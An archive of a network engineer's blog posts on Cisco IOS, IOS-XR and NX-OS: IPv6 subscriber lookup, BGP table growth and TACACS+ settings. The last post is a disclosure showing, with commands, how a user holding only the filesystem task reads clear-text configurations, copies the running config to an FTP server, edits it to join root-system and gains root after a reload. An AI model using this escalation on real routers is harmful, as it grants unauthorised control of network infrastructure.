Saturday, April 16, 2011

How to find the peer IPv6 address of a PPPoE subscriber

In the IPv4 world you could very easily do the following on a BRAS/BNG, find the subscriber's IPv4 address and ping it.

bbras#sh users | i test
  Vi4          test PPPoVPDN     00:01:42 10.11.12.13
bbras#p 10.11.12.13

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.11.12.13, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 16/18/24 ms

Although ping wouldn't always work, in many cases (especially under a managed CPE environment), ping was an easy way to verify subscriber's connectivity, something that is useful for the call-center or 1st level support. Besides checking basic connectivity, using just a single command (as the one shown above, or the ones shown below) you could easily (or with a little bit of text searching) find the IPv4 address of a subscriber.

bbras#sh caller user test

  User: test, line Vi4, service PPPoVPDN
        Connected for 1d05h, Idle for 00:01:54
  Timeouts:    Limit     Remaining Timer Type
               01:00:00  00:58:05  PPP idle
  PPP: LCP Open, multilink Closed, PAP (<-), IPCP, IPV6CP
  IP: Local 10.10.10.10, remote 10.11.12.13
      Access list (I/O) is 120/not set
  Counts: 27378 packets input, 534558 bytes, 0 no buffer
          0 input errors, 0 CRC, 0 frame, 0 overrun
          13703 packets output, 280432 bytes, 0 underruns
          0 output errors, 0 collisions, 0 interface resets

bbras#sh ip int virtual-access 4
Virtual-Access4 is up, line protocol is up
  Interface is unnumbered. Using address of Loopback0 (10.10.10.10)
  Broadcast address is 255.255.255.255
  Peer address is 10.11.12.13

bbras#sh ppp int virtual-Access 4
PPP Serial Context Info
-------------------
Interface        : Vi4
PPP Serial Handle: 0x0
PPP Handle       : 0x0
SSS Handle       : 0x0
AAA ID           : 0
Access IE        : 0x0
SHDB Handle      : 0x0
State            : Down
Last State       : Init
Last Event       : None

PPP Session Info
----------------
Interface        : Vi4
PPP ID           : 0xC600001D
Phase            : UP
Stage            : Local Termination
Peer Name        : test
Peer Address     : 10.11.12.13
Control Protocols: LCP[Open] PAP+ IPCP[Open]
Session ID       : 29
AAA Unique ID    : 59
SSS Manager ID   : 0x3B
SIP ID           : 0x4F00003A
PPP_IN_USE       : 0x11

Vi4 LCP: [Open]
Our Negotiated Options
Vi4 LCP:    AuthProto PAP (0x0304C023)
Vi4 LCP:    MagicNumber 0x547CCD04 (0x0506547CCD04)
Vi4 LCP:    EndpointDisc 1 bbras
Vi4 LCP:    (0x13130162627261732D6C6C752D6B6C6E)
Vi4 LCP:    (0x2D3331)
Our Rejected options
  MRRU
Peer's Negotiated Options
Vi4 LCP:    MagicNumber 0x3DB09C3A (0x05063DB09C3A)

Vi4 IPCP: [Open]
Our Negotiated Options
Vi4 IPCP:    Address 10.10.10.10 (0x0306C2DBE763)
Peer's Negotiated Options
Vi4 IPCP:    Address 10.11.12.13 (0x0306C2DB711D)
Vi4 IPCP:    PrimaryDNS 10.1.1.1 (0x8106C15C9603)
Vi4 IPCP:    SecondaryDNS 10.2.2.2 (0x8306C15C030B)


Now, in the IPv6 world, you can have quite a few of IPv6 "addresses" on the CPE (link-local address, SLAAC/DHCPv6 prefix/addresses for the WAN, DHCPv6-PD prefix/addresses for the LAN) and very limited info on the BRAS/BNG, that actually there is no easy way to do something similar.

First of all, there isn't any "show ipv6 users" command. And if there was one, which IPv6 address should it display there?

Secondly, although in 99% of the cases you can set the Framed-Interface-Id per user, this doesn't mean it will be honored. The problem with Framed-Interface-Id is that it is used as a hint to the peer, so you cannot always depend on your own being used at the end. Btw, Broadband Forum TR-187 R-32 proposes to have the BRAS/BNG decline the tentative Interface-Id received from CPE in case a Framed-Interface-Id from Radius is being used.

In any case, a manual concatenation of the prefix + Id would produce the asked IPv6 addresses.

So if you want to find the IPv6 address of a subscriber, you have to do some of the following steps:

bbras#sh ipv6 int virtual-access 4
Virtual-Access4 is up, line protocol is up
  IPv6 is enabled, link-local address is FE80::EE44:76FF:FEC8:5C1B
  No Virtual link-local address(es):
  Interface is unnumbered. Using address of Loopback0
  No global unicast address is configured

Note: peer IPv6 address is not included as probably expected in the "show ipv6 int" output. The one shown above, is the link-local IPv6 address on the BRAS/BNG side.

Adding the "prefix" keyword at the end of the previous command, reveals the Framed-IPv6-Prefix being used on this interface:

bbras#sh ipv6 int virtual-access 4 prefix
IPv6 Prefix Advertisements Virtual-Access4
Codes: A - Address, P - Prefix-Advertisement, O - Pool
       U - Per-user prefix, D - Default
       N - Not advertised, C - Calendar

PD default [LA] Valid lifetime 2592000, preferred lifetime 604800
OD 2999:2148:100:300::/64 [LA] Valid lifetime 2592000, preferred lifetime 604800

Under PPP you can find IPv6CP and the corresponding Framed-Interface-Id:

bbras#sh ppp int virtual-Access 4 | b IPV6CP:
Vi4 IPV6CP: [Open]
Our Negotiated Options
Vi4 IPV6CP:    Interface-Id EE44:76FF:FEC8:5C1B (0x010AEE4476FFFEC85C1B)
Peer's Negotiated Options
Vi4 IPV6CP:    Interface-Id 3131:3131:3A31:3131 (0x010A313131313A313131)

So, now you have the following info:

Framed-IPv6-Prefix: 2999:2148:100:300::/64
Framed-Interface-Id: 3131:3131:3A31:3131
Link Local prefix: FE80::/10

Based on these strings, you can create the following IPv6 addresses:

Peer global address: 2999:2148:100:300:3131:3131:3A31:3131
Peer link-local address: FE80::3131:3131:3A31:3131

And you can verify connectivity to them accordingly:

bbras#p 2999:2148:100:300:3131:3131:3A31:3131

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 2999:2148:100:300:3131:3131:3A31:3131, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 16/16/16 ms

bbras#p FE80::3131:3131:3A31:3131%Virtual-Access4

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to FE80::3131:3131:3A31:3131, timeout is 2 seconds:
Packet sent with a source address of FE80::EE44:76FF:FEC8:5C1B%Virtual-Access4
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 16/17/20 ms


Many thanks to Ole Troan for sharing the "%interface" trick with me ("%interface" is usually used to define the zone index on UNIX systems). I hope our talk about an IPv6 output similar to "show users" will have a positive end inside IOS code.

Sunday, March 13, 2011

Trying to calculate the IPv6 BGP table in 2015

As you may have already noticed, during the last months there isn't anything new written here by me. This is mainly due to two reasons: 1) lack of free time due to new responsibilities in my company and 2) most of my writing happens in our internal wiki (almost 200 "docs" during the last 12 months!).

On the other hand, there are a lot of "new" things happening in the internet, one of them being the IPv6 "paranoia". Since we have made IPv6 be a strict requirement in my company for any new product evaluation during the last 2 years, one of the things i'm trying lately to calculate is the size of the IPv6 BGP routing table in the forthcoming years.

Geoff has a diagram showing the size of IPv4 BGP table from 1994 till today.


As you can see, it started at ~20k in 1994 and has reached ~360k in 2011.

Imho, it's too risky to believe the same trend-line will also be used by IPv6. I expect IPv6 to have a higher rate and a sharper curve, especially in the next 2 years, where IPv4 will probably lower its increase rate. The only thing that can stop this is a translation method that works for everything (current translations have a lot of issues). If such a thing doesn't appear soon (lately, IPv6 related RFCs are being updated/published/expired quite frequently), everyone will soon or later try to move to IPv6, meaning more routes in the global IPv6 BGP table.

Currently, the IPv6 BGP table has ~5k routes, but the potential for rapid increase seems quite promising. As you can see in the following diagram, the IPv6 table has near-doubled its size during the last year and 2011 started quite aggressively.


Based on the above diagram, one could suppose the increase will continue to happen on the same rate during the next years too.

Another approach is based on the number of prefixes that each ASN announces. The average in IPv4 is a steady ~10 prefixes per ASN all these years (currently there are ~37k IPv4 ASNs and ~360k IPv4 routes). The average in IPv6 is 1.4 prefixes per ASN (currently there are ~3.5k IPv6 ASNs and ~5k IPv6 routes), but that might change soon.

Another thing to keep in mind is the average prefix size in IPv6. It started as ~/33, had many up-downs and it has now reached ~/38. This will probably keep on showing this up-down behavior, but in general i expect a small increase as time passes by, for the reason i explain below. Also, having as a reference the IPv4 diagram, where it has stabilized somewhere above /22, i expect the IPv6 one to stabilize around /44.

IPv4 didn't have a competition and/or push from another protocol all the past years, so its increase was based solely in the number of new networks being connected to the internet. IPv6 has to support all current IPv4 networks in a shorter time-frame that IPv4 did (the translation case applies here too), plus all the new ones that are coming out due to more devices getting connected to the internet. This of course doesn't necessarily mean more IPv6 prefixes in the BGP table.

A /32 is usually what a provider gets these days when asking of IPv6 space. And although a single /32 announcement could probably cover all routing needs of the provider, this is difficult to happen in reality. The usual interconnections between providers are based on multiple 10 Gbps or 2,5 Gbps links. In order to distribute the /32 traffic among all of them, something must be done in terms of traffic engineering; split the /32 in multiples of /40,/48, etc. (imho, a IPv4 /24 is like a IPv6 /48 in terms of network announcement; most providers will filter anything smaller). Currently this isn't needed, because IPv6 traffic is minimal, so a single 1 Gbps link is more than enough. But in the near future, a 10 Gbps link won't be enough to service a provider's /32.

Meanwhile, 40 Gbps and 100 Gbps are around the corner. I don't know if these will become a commodity before IPv6 traffic explosion. If yes, we might see IPv6 table increasing in the beginning and decreasing after a while.

Regarding vendors, the things are quite complicated as usual. Here is the information i managed to gather about IPv6 routes capacity (FIB), based on the available info on the internet.

Cisco CRS-1 : 1m IPv6 routes
Cisco ASR9k : 1m IPv6 routes
Cisco ASR1k/RP2 : 2m/4m IPv6 routes (?)
Cisco ASR1k/RP1 : 250k IPv6 routes
Cisco C12k : 450k IPv6 routes
Cisco 7600/CXL : 500k IPv6 routes
Cisco 6500/CXL :  500k IPv6 routes
Juniper T640 : 750k IPv6 routes
Juniper MX960 : 720k IPv6 routes
AlcaLu 7750 : 512k IPv6 routes (RADIX compression)
Brocade XMR : 240k IPv6 routes
Brocade MLX : 240k IPv6 routes
Ericsson SE1200 : 2m IPv6 routes

Note : These have not been verified by the vendors. If you have any other numbers, please inform me.

Also, before taking into account the above numbers, you should remember that dual-stack will consume IPv4+IPv6 space (future IPv4 estimations talk about 500k routes) and some of these numbers might be hardcoded, while some other are configurable.

A linear scenario starting from today would be the following, which would leads us to ~29k IP6 routes.


Some "exponential" scenarios starting from today would be the following, which would lead us to ~104k/141k/194k IPv6 routes.


Lastly, an exponential scenario based on past utilisation would be the following, which would lead us to ~32k IPv6 routes.



Personally, i would feel very safe with ~125k IPv6 routes until 2015. I would even risk for ~50k. Anyway, i believe it will be much easier to predict in 2 years from now.

As a last note, i have added a poll to the right regarding your estimation about the IPv6 BGP table in 2015. Please feel free to submit your vote.

Saturday, October 9, 2010

Admin privileges in IOS, IOS-XR, NX-OS

For all of you that are using tacacs+ for AAA, if you want to assign admin privileges and permissions to your users, this is the configuration that has worked for me regarding a variety of Cisco devices:

IOS

user = username {
         default service = permit
         service = exec {
                 priv-lvl=15
         }
}

IOS-XR
user = username {
        default service = permit
        service = exec {
                optional task="#root-system"
        }
}

NX-OS

user = username {
        default service = permit
        service = exec {
                optional shell:roles="network-admin"
        }
}

Notes:

1) The above tacacs+ configuration is not the full one; it's just the parts that define the "admin" level for specific users.
2) The "optional" keyword in IOS-XR and NX-OS is used in order to make devices that do not understand these attributes simply ignore them.

If you also want to restrict users to specific commands, then you can use something like the following:

user = username {
         default service = deny
         cmd = terminal {
                 permit length.*
                 permit width.*
         }
         cmd = show {
                 permit radius.statistics
                 permit interface.*
                 permit ip.interface.*
         }
         cmd = clear {
                 permit radius.statistics
         }
}

Generally, command authorization is configured by specifying a list of egrep-style regular expressions to match command arguments and an action which is "deny" or "permit".

Note: Command authorization must have been enabled in your router configuration too. Also some commands (i.e. "clear") might need to have their privilege level changed.

The above configurations are from the freeware tacacs+ server, which has been heavily modified in order to suit our needs. Nevertheless, i believe they can apply to other versions too.

Sunday, September 26, 2010

How to edit text files in IOS-XR - The easy way

Everyone dealing with IOS-XR will know that you have the option of using an editor to edit your RPL (Routing Policy Language) configuration. As of 3.9.1 the available editors are the following:

  • nano
  • emacs
  • vim (enhanced version of vi)
So, instead of entering the configuration line by line in CLI, you can create it using an editor and a temporary file.

The same editors are also available for editing any text file that exists on your router's filesystem. In order to be able to use them, you just have to enter ksh mode by using the hidden "run" command. "run" is referenced briefly on CCO, but its usage is discouraged for everyday operation.

WARNING : Everything below this line is being done at your own risk. You probably don't want to experiment on a production network and you'd better use this functionality only under supervision of Cisco Support.

RP/0/RSP0/CPU0:asr9k#run
# pwd
/disk0a:/usr

QNX kernel:

# uname -a
QNX node0_RSP0_CPU0 6.4.0 2010/01/14-11:12:50PST asr9k ppcbe

All filesystem devices can be found under the root directory:

# cd /
# ls -al | grep ":$"
ls: Operation not supported (./nvram-raw:)
lrwxrwxrwx  1 0         0                11 Jun 14 22:19 bootflash -> /bootflash:
drwxrwxrwx  3 0         0                76 Jan 01  1970 bootflash:
lrwxrwxrwx  1 0         0                14 Jun 14 22:19 compactflash -> /compactflash:
drwxrwxrwx  3 0         0             16384 Sep 15 22:08 compactflash:
drwxrwxrwx  2 0         0               668 Jan 01  1970 configflash:
lrwxrwxrwx  1 0         0                 7 Jun 14 22:19 disk0 -> /disk0:
drwxrwxr-x 35 0         0              4096 Sep 26 21:50 disk0:
drwxrwxr-x  6 0         0              4096 Feb 25  2010 disk0a:
lrwxrwxrwx  1 0         0                 7 Jun 14 22:19 disk1 -> /disk1:
drwxrwxr-x 35 0         0              4096 Sep 26 21:50 disk1:
drwxrwxr-x  4 0         0              4096 Apr 08  2009 disk1a:
lrwxrwxrwx  1 0         0                22 Sep 26 22:07 dumper_bootflash: -> /qsm/dumper_bootflash:
lrwxrwxrwx  1 0         0                25 Sep 26 22:07 dumper_compactflash: -> /qsm/dumper_compactflash:
lrwxrwxrwx  1 0         0                24 Sep 26 22:07 dumper_configflash: -> /qsm/dumper_configflash:
lrwxrwxrwx  1 0         0                18 Sep 26 22:07 dumper_disk0: -> /qsm/dumper_disk0:
lrwxrwxrwx  1 0         0                19 Sep 26 22:07 dumper_disk0a: -> /qsm/dumper_disk0a:
lrwxrwxrwx  1 0         0                18 Sep 26 22:07 dumper_disk1: -> /qsm/dumper_disk1:
lrwxrwxrwx  1 0         0                19 Sep 26 22:07 dumper_disk1a: -> /qsm/dumper_disk1a:
lrwxrwxrwx  1 0         0                21 Sep 26 22:07 dumper_harddisk: -> /qsm/dumper_harddisk:
lrwxrwxrwx  1 0         0                22 Sep 26 22:07 dumper_harddiska: -> /qsm/dumper_harddiska:
lrwxrwxrwx  1 0         0                22 Sep 26 22:07 dumper_harddiskb: -> /qsm/dumper_harddiskb:
lrwxrwxrwx  1 0         0                20 Sep 26 22:07 dumper_lcdisk0: -> /qsm/dumper_lcdisk0:
lrwxrwxrwx  1 0         0                21 Sep 26 22:07 dumper_lcdisk0a: -> /qsm/dumper_lcdisk0a:
lrwxrwxrwx  1 0         0                18 Sep 26 22:07 dumper_nvram: -> /qsm/dumper_nvram:
lrwxrwxrwx  1 0         0                16 Jun 14 22:19 ftp: -> /qsm/dev/fs/ftp:
drwxrwxr-x 14 0         0              4096 Sep 26 21:49 harddisk:
drwxrwxr-x  4 0         0              4096 Aug 25 13:11 harddiska:
drwxrwxr-x  5 0         0              4096 Apr 08  2009 harddiskb:
lrwxrwxrwx  1 0         0                 7 Sep 26 22:07 install -> /disk0:
lrwxrwxrwx  1 0         0                 7 Sep 26 22:07 install_read -> /disk0:
drwxrwxrwx  0 0         0                 1 Jan 01  1970 nvram:
lrwxrwxrwx  1 0         0                16 Jun 14 22:19 rcp: -> /qsm/dev/fs/rcp:
lrwxrwxrwx  1 0         0                17 Jun 14 22:19 tftp: -> /qsm/dev/fs/tftp:

i.e. in order to edit the admin configuration using a much easier way, you just have to move to the correct path and edit the appropriate file (or your can supply the whole path in the same line).

# cd disk0:
# cd config/admin
# pwd
/disk0:/config/admin
# ls -al
total 20
drwxrwxrwx  2 0         0              4096 Sep 15 22:09 .
drwxr-xr-x  6 0         0              4096 Aug 25 13:35 ..
-rw-r--r--  1 0         0               416 Sep 15 22:09 admin.bin
-rwx------  1 0         0               307 Sep 14 19:06 admin.cfg
-rw-r--r--  1 0         0               416 Sep 15 22:09 admin_nonlr.bin
-rwx------  1 0         0               307 Sep 15 22:09 last_used.cfg

Now, you can use nano to edit a file:

# nano admin.cfg


Or you can use emacs, which has some "nice" drop-down menus:

# emacs admin.cfg



Perl is also available, if you want to experiment with scripting...

# perl -v

This is perl, v5.6.0 built for 4k-

Copyright 1987-2000, Larry Wall

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5.0 source kit.

Complete documentation for Perl, including FAQ lists, should be found on
this system using `man perl' or `perldoc perl'.  If you have access to the
Internet, point your browser at http://www.perl.com/, the Perl Home Page.

...but i haven't tried to run complex scripts yet.

# cat test.pl
for ($count = 10; $count >= 1; $count--) {
        print "$count\n";
}
print "Ignition!\n";

# perl test.pl
10
9
8
7
6
5
4
3
2
1
Ignition!

The included perl modules are limited and i don't know if it's possible to add external ones.

# pwd
/pkg/lib/perl
# ls -alR

.:
total 156
-rwxrwxrwt  1 0         0             10167 Sep 07 21:46 AutoLoader.pm
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 Carp
-rwxrwxrwt  1 0         0              4166 Sep 07 21:46 Carp.pm
-rwxrwxrwt  1 0         0             28050 Sep 07 21:46 DynaLoader.pm
-rwxrwxrwt  1 0         0             10377 Sep 07 21:46 Exporter.pm
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 Sys
-rwxrwxrwt  1 0         0              3591 Sep 07 21:46 XSLoader.pm
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 cisco
-rwxrwxrwt  1 0         0              2479 Sep 07 21:46 strict.pm
-rwxrwxrwt  1 0         0              2746 Sep 07 21:46 vars.pm
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 warnings
-rwxrwxrwt  1 0         0             14333 Sep 07 21:46 warnings.pm

./Carp:
total 17
-rwxrwxrwt  1 0         0              8632 Sep 07 21:46 Heavy.pm

./Sys:
total 8
-rwxrwxrwt  1 0         0              3719 Sep 07 21:46 Hostname.pm

./cisco:
total 2
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 fm
dr-xr-xr-x  0 0         0                 1 Jan 01  1970 lib

./cisco/fm:
total 23
-rwxrwxrwt  1 0         0              3332 Sep 07 21:46 perl_fm_action.pm
-rwxrwxrwt  1 0         0              4301 Sep 07 21:46 perl_fm_event.pm
-rwxrwxrwt  1 0         0               765 Sep 07 21:46 perl_fm_misc.pm
-rwxrwxrwt  1 0         0              2558 Sep 07 21:46 perl_fm_util.pm

./cisco/lib:
total 5
-rwxrwxrwt  1 0         0              2304 Sep 07 21:46 smtp_lib.pm

./warnings:
total 2
-rwxrwxrwt  1 0         0               794 Sep 07 21:46 register.pm


Note : Since ksh gives you a kind of low level access, you have to be very careful with it.

Monday, September 13, 2010

How to get full root access in IOS-XR with just a single permission

During the last week i'm experimenting with an ASR9000 and IOS-XR and here is something tricky i found out yesterday.

You may already know that IOS-XR uses a different concept for users' permissions. In IOS you have users and privilege levels, while in IOS-XR you have Users, User Groups, Task Groups and Task IDs. In general, the operational tasks that enable users to control, configure, and monitor the router are represented by Task IDs. A Task ID defines the permission needed to perform a command. Users are associated with sets of Task IDs that define the capabilities of their authorized access to the router. More specifically:

Users belong to User Groups
User Groups include various Task Groups
Task Groups define Read/Write/Execute/Debug Task IDs
Task IDs correspond to specific CLI commands

By following the above relationship in reverse order you end up with the required configuration.

1) In order to find the corresponding Task ID for a cli command, you can execute the "describe" command followed by the CLI command you're interested to.

RP/0/RSP0/CPU0:asr9k#describe show interfaces
The command is defined in show_interface.parser

Node 0/RSP0/CPU0 has file show_interface.parser for boot package /disk0/asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm from asr9k-base
Package:
    asr9k-base
        asr9k-base V3.9.1[00]  Base Package for ASR9K
        Vendor : Cisco Systems
        Desc   : Base Package for ASR9K
        Build  : Built on Sun May  2 09:32:03 EET 2010
        Source : By sjc-lds-511 in /auto/srcarchive4/production/3.9.1/asr9k/workspace for c4.2.1-p0
        Card(s): RP, RP-B, HRP, OC3-POS-4, OC12-POS, GE-3, OC12-POS-4, OC48-POS, E3-OC48-POS, E3-OC12-POS-4, E3-OC3-POS-16, E3-OC3-POS-8, E3-OC3-POS-4, E3-OC48-CH, E3-OC12-CH-4, E3-GE-4, E3-OC3-ATM-4, E3-OC12-ATM-4, E5-CEC, E5-CEC-v2, SE-SEC, NP24-4x10GE, NP24-40x1GE, NP40-40x1GE, NP40-4x10GE, NP40-8x10GE, NP40-2_20_COMBO, NP80-8x10GE, NP80-16x10GE, LC, E3-OC12-CH-1, E7-CEC, A9K-SIP-700
        Restart information:
          Default:
            parallel impacted processes restart

Component:
    pfi-im-cmd V[r39x/4]  PFI show commands

File:
    show_interface.parser
        Card(s)              : RP, DRP, SC
        File type            : Default
        Remotely-hosted      : No
        Local view           : /pkg/parser/show_interface.parser
        Local install path   : /disk0/asr9k-base-3.9.1/parser/show_interface.parser
        Central install path : /disk0/asr9k-base-3.9.1/parser/show_interface.parser


User needs ALL of the following taskids:

        interface (READ)

It will take the following actions:
  Spawn the process:
        show_interface -a

So, for the "sh int" command you need to have access to the "interface (READ)" Task ID. Keep in mind that Task IDs grant permission to perform certain tasks; Task IDs do not deny permission to perform tasks.

2) You create a new Task Group and put the above Task Id under it.

taskgroup TEST-TASKGROUP
 task read interfaces

3) You create a new User Group and put the above Task Group under it.

usergroup TEST-USERGROUP
 taskgroup TEST-TASKGROUP

4) You create a new user and put the above User Group under it.

username TESTUSER
 group TEST-USERGROUP

Now, when the above user logs in, he will have access only to specific commands that are associated with this Task ID (plus some others which are enabled by default). Also, he will be able to see the configuration of all interfaces.

Before the Task ID was enabled:

RP/0/RSP0/CPU0:asr9k#sh int ?
% This command is not authorized

After the Task ID was enabled:

RP/0/RSP0/CPU0:asr9k#sh int ?
  ATM              ATM Network Interface(s)
  Bundle-Ether     Aggregated Ethernet interface(s)
  Bundle-POS       Aggregated POS interface(s)
  FastEthernet     FastEthernet/IEEE 802.3 interface(s)
  GigabitEthernet  GigabitEthernet/IEEE 802.3 interface(s)
...

IOS-XR uses at least 2 running configurations on the ASR9000. The first one is called admin running configuration and you have to enter admin EXEC mode in order to view or change it. The other is called SDR running configuration and it is like the one that IOS uses (actually you have one running configuration per Secure Domain Router (SDR), but only one SDR is available on the ASR9000).

Only users with root-system privileges can access the administration modes by logging in to the RSP for the owner SDR (called the designated shelf controller (DSC)). Administration modes are used to view and manage system-wide resources and logs. Users with root-system privileges have access to system-wide features and resources. The root-system user is created during the initial boot and configuration of the router.

Now, let's suppose you are a root user and you want to allow a user to check the contents of a directory or a file. The "filesystem" Task ID is the one that will allow the user to execute the "dir" and "more" commands.

RP/0/RSP0/CPU0:asr9k#describe more nvram:classic-rommon-var
...
User needs ALL of the following taskids:

        filesystem (EXECUTE)

...

The following user is allowed to do only that.

RP/0/RSP0/CPU0:asr9k#sh user
test

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:           filesystem  :                  EXECUTE

With a little bit of searching on the available filesystems, you'll find out that this particular user can also view both the SDR and admin configurations in their full glory! These files are stored in clear text (ASCII) too, so everyone with access on the execute operation of the filesystem Task ID can also have access to their contents.

RP/0/RSP0/CPU0:asr9k#dir disk0:config/admin

Directory of disk0:/config/admin

6810        -rw-  416         Sat Sep 11 18:32:51 2010  admin_nonlr.bin
6811        -rw-  416         Sat Sep 11 18:32:51 2010  admin.bin
9418222     -rwx  307         Sat Sep 11 17:37:09 2010  admin.cfg
6813        -rwx  307         Sat Sep 11 18:32:50 2010  last_used.cfg

1644150784 bytes total (1175237120 bytes free)

RP/0/RSP0/CPU0:asr9k#more disk0:config/admin/admin.cfg
!! IOS XR Admin Configuration 3.9.1
...

RP/0/RSP0/CPU0:asr9k#dir disk0:config/running/alternate_cfg

Directory of disk0:/config/running/alternate_cfg

3991330     -rwx  11312       Sun Sep 12 01:53:25 2010  router.cfg
3991331     -rwx  7558        Tue Sep  7 22:09:15 2010  last_used.cfg

RP/0/RSP0/CPU0:asr9k#more disk0:config/running/alternate_cfg/router.cfg
!! IOS XR Configuration 3.9.1
!! Last configuration change at Sun Sep 12 00:50:30 2010 by xxx
...

The above is not exactly the running configuration, it's like a "backup" one (or a secondary one) which seems to get synced to the actual (or primary) running configuration in special cases, like when you do a reload or activate a package. You can find the actual SDR configuration (in clear text too) under "disk0:/config/lr/running/nvgen" split in various parts:

RP/0/RSP0/CPU0:asr9k#dir disk0:config/lr/running/nvgen

Directory of disk0:/config/lr/running/nvgen

3992098     -rw-  100         Sun Sep 12 21:47:51 2010  nv_cur.cfg
3992099     -rw-  0           Sun Sep 12 21:20:11 2010  sh_admin.cf2
3992100     -rw-  1358        Sun Sep 12 21:47:50 2010  sh_os.cf2
3992101     -rw-  3220        Sun Sep 12 21:20:11 2010  sh_base.cf2
3858651     -rw-  0           Sun Sep 12 21:20:11 2010  sh_base_placed.cf2
3858657     -rw-  74          Sun Sep 12 21:47:50 2010  sh_p_domain_services.cf2
3992104     -rw-  4           Sun Sep 12 21:47:50 2010  sh_p_cdp_mgr.cf2
3858658     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_ip_expl_paths_daemon.cf2
3858659     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_rt_check_mgr.cf2
3858660     -rw-  0           Sun Sep 12 21:20:11 2010  sh_p_ipv4_rib.cf2
3992108     -rw-  28          Sun Sep 12 21:47:51 2010  sh_p_arp_gmp.cf2
...

i.e. to see the current access lists:

RP/0/RSP0/CPU0:asr9k#more disk0:config/lr/running/nvgen/sh_fwd_acl.cf2
ipv4 access-list 9
 10 permit ipv4 10.21.8.0 0.0.0.255 any
....

In case you have some level 7 passwords into the running configuration (something you should avoid doing since you have the "secret" option), then you're probably risking a lot, because these can be easily decrypted. Luckily, admin configuration doesn't allow such passwords.

What is more interesting is that the execute permission of the filesystem Task ID allows the user to also copy/overwrite a file (some configuration files are not allowed to be deleted, while some others are recreated "automatically" while doing a reload).


Here comes the tricky part...

There are some variables in ROM Monitor mode, that you can use in order to change the paths and names of configuration files, bypassing the normal startup procedure which by default loads the primary (binary) configuration.

i.e. permanently change the location of the default admin configuration file:

IOX_ADMIN_CONFIG_FILE=drive:path/file

i.e. permanently change the location of the router configuration file:

IOX_CONFIG_FILE=drive:path/file 

i.e. permanently change the default location where configuration files are saved:

IOX_CONFIG_MEDIUM=drive:path

Using the "set" command while in rommon will display their current values:

rommon B1 > set
...
IOX_ADMIN_CONFIG_FILE=
IOX_CONFIG_FILE=
IOX_CONFIG_MEDIUM=
...

Again, all the above rommon variables are saved in clear text too, so the test user can still find them by simply executing the "more" command from the CLI.

RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var
  PS1 = rommon ! > , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , ? = 0, IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg = 0x2102^@

Now let's change IOX_CONFIG_FILE to point to a new configuration file. It doesn't really matter where the file is saved.

rommon B2 > IOX_CONFIG_FILE=disk0:running-config
rommon B3 > sync
rommon B4 > reset

Nothing different until now. The test user can still find and see the running-config as "expected":

RP/0/RSP0/CPU0:asr9k#more nvram:classic-rommon-var
  PS1 = rommon ! > , IOX_ADMIN_CONFIG_FILE = , BOOT_DEV_SEQ_CONF = disk0:;disk1:, MIRROR_ENABLE = Y, TFTP_VERBOSE = 0, TFTP_RETRY_COUNT = 4, TFTP_TIMEOUT = 6000, TFTP_CHECKSUM = 0, TFTP_MGMT_INTF = 0, TURBOBOOT = , IP_ADDRESS = 10.200.73.34, IP_SUBNET_MASK = 255.255.255.252, DEFAULT_GATEWAY = 10.200.73.33, TFTP_SERVER = 10.21.8.24, ReloadReason = 1, ? = 0, IOX_CONFIG_FILE = disk0:running-config, BSI = 0, BOOT_DEV_SEQ_OPER = disk0:, BOOT = disk0:asr9k-os-mbi-3.9.1.CSCtg50404-1.0.0/mbiasr9k-rp.vm,1;, confreg
= 0x2102^@

RP/0/RSP0/CPU0:asr9k#more disk0:running-config
!! IOS XR Configuration 3.9.1
!! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx
...

Test user is still a member of the TESTGROUP User Group, which has limited access.

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:           filesystem  :                  EXECUTE

Step 1 : Test user copies the running configuration to a ftp server:

RP/0/RSP0/CPU0:asr9k#copy disk0:running-config ftp://10.21.8.24/test-config
Destination filename [test-config]?
Writing ftp://10.21.8.24/test-config
C
11314 bytes copied in      0 sec

Step 2 : Test user changes the contents of the above file in order to make himself member of the root-system User Group and uploads it in the same path as the original configuration, overwriting it.

RP/0/RSP0/CPU0:asr9k#copy ftp://10.21.8.24/test-config disk0:running-config
Destination filename [/disk0:/running-config]?
Copy : Destination exists, overwrite ?[confirm]
Accessing ftp://10.21.8.24/test-config
C
11311 bytes copied in      0 sec

Step 3 : Test user verifies that his changes are actually on the uploaded file:

RP/0/RSP0/CPU0:asr9k#more disk0:running-config
!! IOS XR Configuration 3.9.1
!! Last configuration change at Mon Sep 13 01:58:33 2010 by xxx
...
username test
 group root-system

Step 4 : A little bit later a Root user makes a reload and voila! Test user gets root access!

RP/0/RSP0/CPU0:asr9k#sh user
test

RP/0/RSP0/CPU0:asr9k#sh user tasks
Task:                  aaa  : READ    WRITE    EXECUTE    DEBUG
Task:                  acl  : READ    WRITE    EXECUTE    DEBUG
